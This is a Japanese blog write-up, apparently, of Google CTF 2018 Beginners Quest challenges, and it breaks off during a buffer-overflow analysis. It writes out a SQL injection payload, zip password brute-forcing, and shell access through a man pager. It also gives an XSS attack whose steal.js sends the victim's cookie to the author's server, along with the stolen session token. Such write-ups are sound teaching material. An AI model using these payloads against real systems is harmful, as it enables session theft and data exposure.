Google CTF 2018 Beginners Quest 問題解説

Dec 19, 2018  │  #ctf  

この記事はCTF Advent Calendar 2018 19日目の記事です。18日目はmage_1868さんのMortAl mage aGEnts write-up でした。

CTFビギナーなのでGoogle CTF 2018 Beginners Quest を解いており、Diary で書いているWriteupsをまとめます。全て解き終わらなかったので残りは解け次第追記します。

解くにあたり使ったツールも書こうとしてたんですが、長文になるため別機会で。コメントがあればTwitterもしくはMastodonまでお願いします。

Misc

LETTER

PDFファイルが1つ与えられる。Viewerによる検索でフラグを得る。

OCR IS COOL!

Gmailのメール本文がキャプチャされたPNGファイルが1つ与えられる。

文面からROT Nと考えられ、本文中のVMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk}を復号する。フラグはCTF{...}の形式であるため、ROT 7であると分かる。

復号にはCyberChef を用いた。

SECURITY BY OBSCURITY

ファイルが1つ与えられる。file commandによりzipだと分かるため展開する。

ある程度展開すると他の拡張子に変化するためコマンドを変えてまた展開する、ということをzip, xz, bz2, gzと行っていくと、最後にパスワード付きのzipが現れる。

brute forceでパスワードを確認し、展開してフラグを得る。ここではfcrackdiscを用いた。

import os
import filetype
import zipfile
import subprocess
import gzip

filepath = 'password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p'

while True:
    extension = filetype.guess(filepath).extension
    print('%s: %s' % (extension, filepath))
    if extension == 'zip':
        with zipfile.ZipFile(filepath) as f:
            f.extractall()
    elif extension == 'xz':
        subprocess.call(['7z', 'e', filepath])
    elif extension == 'bz2':
        subprocess.call(['bzip2', '-d', filepath])
        os.rename(filepath + '.out', '.'.join(filepath.split('.')[0:-1]))
    elif extension == 'gz':
        with gzip.open(filepath) as f:
            with open('.'.join(filepath.split('.')[0:-1]), 'wb') as nf:
                nf.write(f.read())

    filepath = '.'.join(filepath.split('.')[0:-1])
$ fcrackzip -l 4 -u -b password.x
PASSWORD FOUND!!!!: pw == asdf
$ unzip password.x
Archive:  password.x
[password.x] password.txt password:
 extracting: password.txt
$ cat password.txt
CTF{DUMMY_FLAG}

FLOPPY

$ file foo.ico
foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors

ico fileが与えられる。画像自体に気になる点は無いため、バイナリエディタで内容を確認。

データ後半にzipを示すマジックナンバーPKが存在しdriver.txt等のzipらしい文字列も続くため、PK以下全データを新規ファイルとして保存しunzip。

$ unzip foo.zip
Archive:  foo.zip
  inflating: driver.txt
  inflating: www.com

driver.txtの内容がフラグとなる。

FLOPPY2

自力で解けなかったためGoogle CTF: Beginner Quest: FLOPPY2 (Debugging DOS Programs) を参考にした。

FLOPPYにてフラグが書かれていたファイルにIn case of emergency, run www.comと書かれており、runから分かるようにこのファイルは実行可能。(ここが分からなかった)

$ cat driver.txt
This is the driver for the Aluminum-Key Hardware password storage device.
     CTF{DUMMY}

In case of emergency, run www.com

COMファイル1はMS-DOSで実行可能であり、ここではDOSBox2を用いてエミュレートする。Debian系であればaptでインストールできる。

後述のデバッグのためDOSBoxのdebugger3もインストールする。

適当なディレクトリにwww.comと、debuggerに入っているDEBUG.COMを入れる。以下、このディレクトリをworkdirと呼ぶ。

dosboxを起動し、mount c ./workdirでworkdirをC:にマウント。c:でマウント先に移動する。

DEBUG.COM WWW.COMで、WWW.COMをデバッガで起動。デバッガにてgでWWW.COMを実行し、dで実行結果をダンプ。フラグを得る。

www.comはテキスト内に制御文字が含まれているため、そのまま実行してもフラグが表示されない。4

デバッガを使わずとも出力結果をファイルに保存し、テキストエディタやバイナリエディタで開いてもフラグを得ることができる。

MEDIA-DB

sqlite3を操作するpythonスクリプトが与えられる。

スクリプト起動時にoauth_tokens tableのoauth_token columnへフラグが登録される。

with open('oauth_token') as fd:
  flag = fd.read()

conn = sqlite3.connect(':memory:')
c = conn.cursor()

c.execute("CREATE TABLE oauth_tokens (oauth_token text)")
c.execute("CREATE TABLE media (artist text, song text)")
c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag))

その後いくつかの機能が実行可能だが、insert機能でシングルクオートのエスケープを行なっていない。

  if choice == '1':
    my_print("artist name?")
    artist = raw_input().replace('"', "")
    my_print("song name?")
    song = raw_input().replace('"', "")
    c.execute("""INSERT INTO media VALUES ("{}", "{}")""".format(artist, song))

そしてmedia tableからランダムなartistを取り出し、結果をそのままwhereに利用する機能が存在する。

  elif choice == '4':
    artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
    my_print("choosing songs from random artist: {}".format(artist))
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))

よってoauth_tokenの値が取得可能な文字列をartist名としてinsert後、ランダム機能によりその文字列を利用することでフラグを得られる。

% nc media-db.ctfcompetition.com 1337
=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; --
song name?
a
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: 1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; --

== new playlist ==
1: "a" by "1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- "
2: "CTF{DUMMY_FLAG}
" by "CTF{DUMMY_FLAG}
"

Reversing

FIRMWARE

ext4 filesystem dataが与えられる。mount後.mediapc_backdoor_password.gzを発見。明らかに怪しいため中身を確認したところフラグを得た。

このファイルはtestdiskによるチェック時に発見した。

$ mkdir /mnt/challenge
$ mount challenge.ext4 /mnt/challenge
$ ls -la /mnt/challenge
total 40
drwxr-xr-x. 22 root root  1024 Jun 22 09:54 .
drwxr-xr-x.  3 root root    23 Nov 11 04:56 ..
-rw-r--r--.  1 root root    40 Jun 22 09:54 .mediapc_backdoor_password.gz
drwxr-xr-x.  2 root root  3072 Jun 22 09:54 bin
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 boot
drwxr-xr-x.  4 root root  1024 Jun 22 09:54 dev
drwxr-xr-x. 52 root root  4096 Jun 22 09:54 etc
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 home
drwxr-xr-x. 12 root root  1024 Jun 22 09:54 lib
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 lib64
drwx------.  2 root root 12288 Jun 22 09:51 lost+found
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 media
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 mnt
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 opt
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 proc
drwx------.  2 root root  1024 Jun 22 09:54 root
drwxr-xr-x.  4 root root  1024 Jun 22 09:54 run
drwxr-xr-x.  2 root root  3072 Jun 22 09:54 sbin
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 srv
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 sys
drwxr-xr-x.  2 root root  1024 Jun 22 09:54 tmp
drwxr-xr-x. 10 root root  1024 Jun 22 09:54 usr
drwxr-xr-x.  9 root root  1024 Jun 22 09:54 var
$ gzip -d /mnt/challenge/.mediapc_backdoor_password.gz
$ cat /mnt/challenge/.mediapc_backdoor_password
CTF{DUMMY_FLAG}

GATEKEEPER

usernameとpasswordを要求するELFファイルが与えられる。

$ ./gatekeeper
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
[ERROR] Login information missing
Usage: ./gatekeeper <username> <password>

gdb-pedaでstrcmp実行個所のRSIを確認。

1回目は0n3_W4rM。これがusernameになるため第一引数に設定して再実行

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554de0 ("0n3_W4rM")
RDI: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
RBP: 0x7fffffffe490 --> 0x0
RSP: 0x7fffffffe3e0 --> 0x7fffffffe578 --> 0x7fffffffe7d0 ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554a46 (<main+143>:        call   0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe570 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554a39 <main+130>:   mov    rax,QWORD PTR [rax]
   0x555555554a3c <main+133>:   lea    rsi,[rip+0x39d]        # 0x555555554de0
   0x555555554a43 <main+140>:   mov    rdi,rax
=> 0x555555554a46 <main+143>:   call   0x555555554770 <strcmp@plt>
   0x555555554a4b <main+148>:   test   eax,eax
   0x555555554a4d <main+150>:   je     0x555555554a7b <main+196>
   0x555555554a4f <main+152>:   mov    edi,0xa
   0x555555554a54 <main+157>:   call   0x555555554710 <putchar@plt>
Guessed arguments:
arg[0]: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
arg[1]: 0x555555554de0 ("0n3_W4rM")

2回目はzLl1ks_d4m_T0g_I。これを第二引数に設定して再実行。

[----------------------------------registers-----------------------------------]
RAX: 0x555555757010 --> 0x4242424242 ('BBBBB')
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
RDI: 0x555555757010 --> 0x4242424242 ('BBBBB')
RBP: 0x7fffffffe480 --> 0x0
RSP: 0x7fffffffe3d0 --> 0x7fffffffe568 --> 0x7fffffffe7cd ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554b57 (<main+416>:        call   0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe560 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554b49 <main+402>:   mov    rax,QWORD PTR [rbp-0x10]
   0x555555554b4d <main+406>:   lea    rsi,[rip+0x2ad]        # 0x555555554e01
   0x555555554b54 <main+413>:   mov    rdi,rax
=> 0x555555554b57 <main+416>:   call   0x555555554770 <strcmp@plt>
   0x555555554b5c <main+421>:   test   eax,eax
   0x555555554b5e <main+423>:   jne    0x555555554bba <main+515>
   0x555555554b60 <main+425>:   lea    rdi,[rip+0x2ab]        # 0x555555554e12
   0x555555554b67 <main+432>:   call   0x5555555548ca <text_animation>
Guessed arguments:
arg[0]: 0x555555757010 --> 0x4242424242 ('BBBBB')
arg[1]: 0x555555554e01 ("zLl1ks_d4m_T0g_I")

2回目のstrcmp。RDIには第2引数が入っているはずだが、zLl1ks_d4m_T0g_IからI_g0T_m4d_sk1lLzに変わっている。挙動や結果から反転されて比較されていることが分かるため、I_g0T_m4d_sk1lLzに設定して再実行。

[----------------------------------registers-----------------------------------]
RAX: 0x555555757010 ("I_g0T_m4d_sk1lLz")
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
RDI: 0x555555757010 ("I_g0T_m4d_sk1lLz")
RBP: 0x7fffffffe480 --> 0x0
RSP: 0x7fffffffe3d0 --> 0x7fffffffe568 --> 0x7fffffffe7c2 ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554b57 (<main+416>:        call   0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe560 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554b49 <main+402>:   mov    rax,QWORD PTR [rbp-0x10]
   0x555555554b4d <main+406>:   lea    rsi,[rip+0x2ad]        # 0x555555554e01
   0x555555554b54 <main+413>:   mov    rdi,rax
=> 0x555555554b57 <main+416>:   call   0x555555554770 <strcmp@plt>
   0x555555554b5c <main+421>:   test   eax,eax
   0x555555554b5e <main+423>:   jne    0x555555554bba <main+515>
   0x555555554b60 <main+425>:   lea    rdi,[rip+0x2ab]        # 0x555555554e12
   0x555555554b67 <main+432>:   call   0x5555555548ca <text_animation>
Guessed arguments:
arg[0]: 0x555555757010 ("I_g0T_m4d_sk1lLz")
arg[1]: 0x555555554e01 ("zLl1ks_d4m_T0g_I")

I_g0T_m4d_sk1lLzがpasswordであり、フラグを得る。

$ ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
 ~> Verifying.......Correct!
Welcome back!
CTF{DUMMY_FLAG}

Web

JS SAFE

自力で解けなかったためHacking Livestream #57: Google CTF 2018 Beginners QuestCTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner’s Quest - JS Safe 1.0 / Writeup を参考にした。

Attachmentとしてjs_safe_1.htmlが用意されており、ブラウザで開くとテキストボックスが表示される。適当な文字列を入力するとAccess Deniedと表示される。

<script>
const alg = { name: 'AES-CBC', iv: Uint8Array.from([211,42,178,197,55,212,108,85,255,21,132,210,209,137,37,24])};
const secret = Uint8Array.from([26,151,171,117,143,168,228,24,197,212,192,15,242,175,113,59,102,57,120,172,50,64,201,73,39,92,100,64,172,223,46,189,65,120,223,15,34,96,132,7,53,63,227,157,15,37,126,106]);
async function open_safe() {
  keyhole.disabled = true; /* keyholeは表示されているテキストボックス */
  password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
  if (!password || !(await x(password[1]))) return document.body.className = 'denied';
  document.body.className = 'granted';
  const pwHash = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(password[1]));
  const key = await crypto.subtle.importKey('raw', pwHash, alg, false, ['decrypt']);
  content.value = new TextDecoder("utf-8").decode(await crypto.subtle.decrypt(alg, key, secret))
}
</script>

ソースを読むと、テキストボックスに入力された文字列が正規表現/^CTF{([0-9a-zA-Z_@!?-]+)}$/にマッチする場合に{}の中の文字列をfunction xの引数として渡し、その結果がtrueであれば何らかのバイナリ列をデコードしている。

<script>
async function x(password) {
    // TODO: check if they can just use Google to get the password once they understand how this works.
    var code = 'icffjcifkciilckfmckincmfockkpcofqcoircqfscoktcsfucsivcufwcooxcwfycwiAcyfBcwkCcBfDcBiEcDfFcwoGcFfHcFiIcHfJcFkKcJfLcJiMcLfNcwwOcNNPcOOQcPORcQNScRkTcSiUcONVcUoWcOwXcWkYcVkЀcYiЁcЀfЂcQoЃcЂkЄcЃfЅcPNІcЅwЇcІoЈcЇiЉcЈfЊcPkЋcЊiЌcІiЍcЌfЎcWoЏcЎkАcЏiБcІkВcБfГcNkДcГfЕcЇkЖcЕiЗcЖfИcRwЙcИoКcЙkЛcUkМcЛiНcМfОcИkПcОiРcПfСcUwТcСiУcQkФcУiХcЃiЦcQwЧcЦoШcЧkЩcШiЪcЩfЫcRiЬcЫfЭcКiЮcЭfЯcСoаcЯiбcГiвcЙiгcRoдcгkеcдiжdТaзcЛfиdзaжcжийcСkкdйaжcжклcйfмdлaжcжмнdТaжcжноdЀaжcжопdNaжcжпрcUiсcрfтdсaуdЁaтcтутcтофcТfхdфaтcтхтcтктcтнтcтмцdсaтcтцтcтктcтутcтнчaaтшdЯaщcйiъcщfыdъaьcжыэcVfюdэaьcьюьcьояdЛaьcьяьcьуьcьыѐчшьёѐшшђcOfѓdђaѓcѓнѓcѓнєcUfѕdєaѓcѓѕіcЯfїdіaѓcѓїјaёѓљaaтњcжшћcЎiќcћfѝdќaњcњѝњcњeўcЏfџdўaњcњџѠdАaњcњѠњcњшњcњѝњcњfњcњџѡљшњѢaaтѣcжшѣcѣѝѣcѣeѣcѣџѤcЯkѥdѤaѣcѣѥѣcѣшѣcѣѝѣcѣfѣcѣџѦѢшѣѧcцнѧcѧїѨdСaѧcѧѨѧcѧкѧcѧуѩaёѧѪcхмѫdрaѪcѪѫѪcѪкѬdYaѪcѪѬѪcѪиѭaѩѪѮcяюѯdНaѮcѮѯѮcѮиѮcѮхѮcѮкѰaѭѮѱdVaѲcхѱѲcѲѕѳcNoѴcѳkѵcѴfѶdѵaѲcѲѶѲcѲiѲcѲlѲcѲmѷјѲgѸјѭѷѹbѰѸѺcXfѻdѺaѻcѻюѻcѻоѻcѻкѻcѻoѼdђaѻcѻѼѻcѻнѻcѻнѻcѻѕѻcѻїѽaёѻѾѽѹшѿceeҀceeҁcee҂ceeѿaѾeҀјѿT҂ѡҀшҁјh҂hѦҁшѿaѾfҀјѿV҂ѡҀшҁјh҂hѦҁшѿaѾiҀјѿU҂ѡҀшҁјh҂hѦҁшѿaѾjҀјѿX҂ѡҀшҁјh҂hѦҁшѿaѾkҀјѿЁ҂ѡҀшҁјh҂hѦҁшѿaѾlҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾmҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾnҀјѿЉ҂ѡҀшҁјh҂hѦҁшѿaѾoҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾpҀјѿЋ҂ѡҀшҁјh҂hѦҁшѿaѾqҀјѿЍ҂ѡҀшҁјh҂hѦҁшѿaѾrҀјѿА҂ѡҀшҁјh҂hѦҁшѿaѾsҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾtҀјѿВ҂ѡҀшҁјh҂hѦҁшѿaѾuҀјѿД҂ѡҀшҁјh҂hѦҁшѿaѾvҀјѿЗ҂ѡҀшҁјh҂hѦҁшѿaѾwҀјѿК҂ѡҀшҁјh҂hѦҁшѿaѾxҀјѿН҂ѡҀшҁјh҂hѦҁшѿaѾyҀјѿР҂ѡҀшҁјh҂hѦҁшѿaѾAҀјѿТ҂ѡҀшҁјh҂hѦҁшѿaѾBҀјѿФ҂ѡҀшҁјh҂hѦҁшѿaѾCҀјѿW҂ѡҀшҁјh҂hѦҁшѿaѾDҀјѿХ҂ѡҀшҁјh҂hѦҁшѿaѾEҀјѿЪ҂ѡҀшҁјh҂hѦҁшѿaѾFҀјѿЬ҂ѡҀшҁјh҂hѦҁшѿaѾGҀјѿЮ҂ѡҀшҁјh҂hѦҁшѿaѾHҀјѿа҂ѡҀшҁјh҂hѦҁшѿaѾIҀјѿe҂ѡҀшҁјh҂hѦҁшѿaѾJҀјѿб҂ѡҀшҁјh҂hѦҁшѿaѾKҀјѿв҂ѡҀшҁјh҂hѦҁшѿaѾLҀјѿK҂ѡҀшҁјh҂hѦҁшѿaѾMҀјѿе҂ѡҀшҁјh҂hѦҁшѐceeёceeѓceeјceeљceeњceeѡceeѢceeѣceeѦceeѧceeѩceeѪceeѭceeѮceeѰceeѲceeѷceeѸceeѹceeѻceeѽceeѾceeҀceeҁceeжceeтceeчceeьcee'
    var env = {
        a: (x,y) => x[y],
        b: (x,y) => Function.constructor.apply.apply(x, y),
        c: (x,y) => x+y,
        d: (x) => String.fromCharCode(x),
        e: 0,
        f: 1,
        g: new TextEncoder().encode(password),
        h: 0,
    };
    for (var i = 0; i < code.length; i += 4) {
        var [lhs, fn, arg1, arg2] = code.substr(i, 4);
        try {
            env[lhs] = env[fn](env[arg1], env[arg2]);
        } catch(e) {
            env[lhs] = new env[fn](env[arg1], env[arg2]);
        }
        if (env[lhs] instanceof Promise) env[lhs] = await env[lhs];
    }
    return !env.h;
}
</script>

function xでは文字列codeを4文字ずつ読み取り、その内容に応じて処理を行っている。この関数でtrueを返すには最終的にenv.hの値がnull, undefined, 0, ‘’(空文字列), falseのいずれかである必要がある。

    for (var i = 0; i < code.length; i += 4) {
        var [lhs, fn, arg1, arg2] = code.substr(i, 4);
        console.log('-------------------------', i, env['h']);
        console.log(lhs, "=", env[fn], "(", env[arg1], ",", env[arg2], ")");
        console.log(env);

envの変化を追うためにconsole.logでプリントデバッグを行う。ざっと眺めると、しばらくは何らかの文字列の生成を行っているが、i=876から引数passwordのsha-256 ハッシュ値を取っているらしき処理が確認できる。

その後はまたしばらく文字列の生成が続き、i = 940で先程生成したハッシュ値のUint8Array()をenv['Ѿ']に代入している。

i = 980で初めてenv.hの値が変化するため直前の処理に注目する。デバッグのため追加でarg1とarg2を出力している。

i = 960で先程代入したUint8Array()のindex 0をenv['ѿ']に代入し、i = 968でenv['ѿ']env['T'](= 230)とのxorを取りenv['҂']に代入している。i = 976でenv['h']env['҂']とのorを取った値をenv['h']に代入している。

つまり、少なくともi = 960からi = 976までの処理を行いenv.hを0にするためには、function xの引数passwordのハッシュ値を取ったUint8Array()のindex 0が230となる必要がある。

i = 980以降の処理を見ると、Uint8Array()のindex 1以降について同様の処理を行っている。つまりxorを取っている箇所の結果が全て0になればよいと考えられる。

    var nums = [];
    for (var i = 0; i < code.length; i += 4) {
        var [lhs, fn, arg1, arg2] = code.substr(i, 4);
        if(i >= 960 ) {
            console.log('-------------------------', i, env['h']);
            console.log(lhs, "=", env[fn], "(", env[arg1], ",", env[arg2], ")");
            console.log(env);
            console.log('arg1:', arg1, ' arg2:', arg2);
            if(lhs == '҂') { nums.push(env[arg1][1]) }
        }
        try {
            env[lhs] = env[fn](env[arg1], env[arg2]);
        } catch(e) {
            env[lhs] = new env[fn](env[arg1], env[arg2]);
        }
        if (env[lhs] instanceof Promise) env[lhs] = await env[lhs];
        if(i == 884){ console.log(env[lhs]) }
    }
    console.log(nums);
    return !env.h;

以上のようにしてi >= 960についてxorを取られている値を出力。結果は[230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238]

CTF{}の中身のsha-256のハッシュ値が以上の結果と一致していればxorを取った結果が全て0になり、最終的なenv.hが0となる。

import binascii
nums = [230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238]
print(bytearray(nums).hex())

ハッシュ値をバイト列から文字列に直すためのPython Script。結果はe66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee

これがハッシュ値となる文字列はHash Encryption and Reverse Decryption 等のサービスを使って求める。得られた値をCTF{}の中身としたものがフラグである。

Chromeを使用したプリントデバッグでconsole.log(env)とすると意図しない出力5となる。(これに引っかかり自力で解けなかった)

ROUTER-UI

username, passwordを入力しSign inを行うページ https://router-ui.web.ctfcompetition.com/login が与えられる。

XSS脆弱性確認

If we could find an XSS on the page then we could use it to steal the root user session token.

問題文によるとXSSが実行可能であり、これを用いてroot userのsession tokenを奪う必要がある。

まず普通の文字列でログインを試す。

不自然に//で区切られており、何らかの場面でこれを利用すると考えられる。

次に、usernameに<script>alert(1);</script>を入力しXSSを試す。ChromeとSafariではブラウザのXSSブロック機能が働くためFirefoxを用いた。

alert(1)が動作している。同様の手順でpasswordにもXSSの脆弱性があることを確認した。

問題文に書かれているメールアドレス確認

In case you find something, try to send an email to wintermuted@googlegroups.com .

問題文には管理人らしき人物にメール送信が可能とも書いている。

挙動確認のためwintermuted@googlegroups.comへ本文が空のメールを送ると、以下の文が返信された。

Hey,
I checked out your email, but I couldn't spot anything that looked like a link. Can you send it again?

送信したリンクへWintermutedがアクセスするらしい。

Sign inページ内にはWintermutedにスクリプトを実行させる手段が無いため、攻撃サーバを用意してcookieを奪う問題だと推測できる。(攻撃サーバを立てるという発想がなく、ここが分からなかった)

攻撃用サーバ用意

攻撃用サーバを立て、Sign inページへ自動的にPOSTを行うフォームを作成する。ここではhttps://ctf.unigiri.netを立て、Let’s Encryptで証明書を取得した。

Wintermutedに踏ませるrouter-ui.htmlは以下の通り。usernameとpasswordを区切る文字列//を利用するとURLを含むscriptの実行に成功する。

全ての通信は必ずHTTPSで通信すること。HTTP通信では後述のCookieを得られない。

<html>
  <body>
    <form method="POST" action="https://router-ui.web.ctfcompetition.com/login">
      <input name="username" value="<script src=https:">
      <input name="password" value="ctf.unigiri.net/steal.js></script>;">
    </form>
  <script>document.forms[0].submit();</script>
  </body>
</html>

steal.jsの中身はwindow.location.href='https://ctf.unigiri.net/log.php?'+document.cookie;一行のみ。

これによりWintermutedがrouter-ui.htmlへアクセスした際、以下の順で通信が発生する。

  1. GET https://ctf.unigiri.net/router-ui.html
  2. POST https://router-ui.web.ctfcompetition.com/login
  3. GET https://ctf.unigiri.net/log.php?COOKIE

3回目の通信のパラメータにはWintermutedのCookieが挿入され、この値を攻撃サーバのアクセスログから確認する。

攻撃実施

本文に https://ctf.unigiri.net/router-ui.html を入力して送信。猫の画像は添付しなくてよい。

- - [15/Dec/2018:08:45:28 +0000] "GET /router-ui.html HTTP/2.0" 200 337 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
- - [15/Dec/2018:08:45:28 +0000] "GET /steal.js HTTP/2.0" 200 205 "https://router-ui.web.ctfcompetition.com/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
- - [15/Dec/2018:08:45:28 +0000] "GET /log.php?flag=Try%20the%20session%20cookie;%20session=Avaev8thDieM6Quauoh2TuDeaez9Weja HTTP/2.0" 404 277 "https://router-ui.web.ctfcompetition.com/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"

3行目のflag=Try...がWintermutedのCookieである。URL Decodeを行うとTry the session cookie; session=Avaev8thDieM6Quauoh2TuDeaez9Wejaが得られ、指示通りに進める。

Firefoxのヘッダ書き換えプラグインを用いてCookieにsession=Avaev8thDieM6Quauoh2TuDeaez9Wejaを指定した状態で https://router-ui.web.ctfcompetition.com/ へアクセス。

管理画面が表示され、ページのソースからフラグを得る。

Pwn

MOAR

nc moar.ctfcompetition.com 1337を実行するとman socatが開く。!<command>でshell codeが実行可能なので、怪しいファイルを探しフラグを得る。

$ nc moar.ctfcompetition.com 1337
socat(1)                                                              socat(1)

NAME socat - Multipurpose relay (SOcket CAT)

SYNOPSIS
       socat [options] <address> <address>
       socat -V
       socat -h[h[h]] | -?[?[?]]
       filan
       procan

DESCRIPTION
       Socat  is  a  command  line based utility that establishes two bidirec-
       tional byte streams  and  transfers  data  between  them.  Because  the
       streams  can be constructed from a large set of different types of data
       sinks and sources (see address types),  and  because  lots  of  address
       options  may be applied to the streams, socat can be used for many dif-
       ferent purposes.

       Filan is a utility  that  prints  information  about  its  active  file
       descriptors  to  stdout.  It  has been written for debugging socat, but
       might be useful for other purposes too. Use the -h option to find  more
 Manual page socat(1) line 1 (press h for help or q to quit)!ls
!ls
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr
!done  (press RETURN)!ls /home

!ls /home
moar
!done  (press RETURN)!ls /home/moar

!ls /home/moar
disable_dmz.sh
!done  (press RETURN)!cat /home/moar/disable_dmz.sh

!cat /home/moar/disable_dmz.sh
#!/bin/sh

# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

echo 'Disabling DMZ using password CTF{DUMMY_FLAG}'
echo CTF{DUMMY_FLAG} > /dev/dmz
!done  (press RETURN)

MESSAGE OF THE DAY

コマンドnc motd.ctfcompetition.com 1337とバイナリmotdが与えられる。

ncを実行するとメニューが表示される。

Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice:

ここではプログラムに保存する1行の文字列をMOTDと呼んでいる。起動直後はMOTDとしてMOTD: Welcome back friend!が保存されている。

機能1で一般ユーザ用のMOTD表示, 2で保存を行い、3でadmin用のMOTD設定, 4で表示を行う。

脆弱な挙動を探す

$ python -c "print('2\n'+'A'*300)" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
$ # 正常であれば再度メニューが表示されるが、異常終了した

機能2で適当に長い文字列を与えるとプログラムが異常終了するため、文字列の長さをチェックしていないと考えられる。

IDAによる挙動確認

; Attributes: bp-based frame

public set_motd
set_motd proc near

src= byte ptr -100h

push    rbp
mov     rbp, rsp
sub     rsp, 100h
lea     rdi, s          ; "Enter new message of the day"
call    _puts
lea     rdi, format     ; "New msg: "
mov     eax, 0
call    _printf
lea     rax, [rbp+src]
mov     rdi, rax
mov     eax, 0
call    _gets
lea     rax, [rbp+src]
mov     edx, 100h       ; n
mov     rsi, rax        ; src
lea     rdi, MOTD       ; dest
call    _strncpy
mov     cs:byte_608071DF, 0
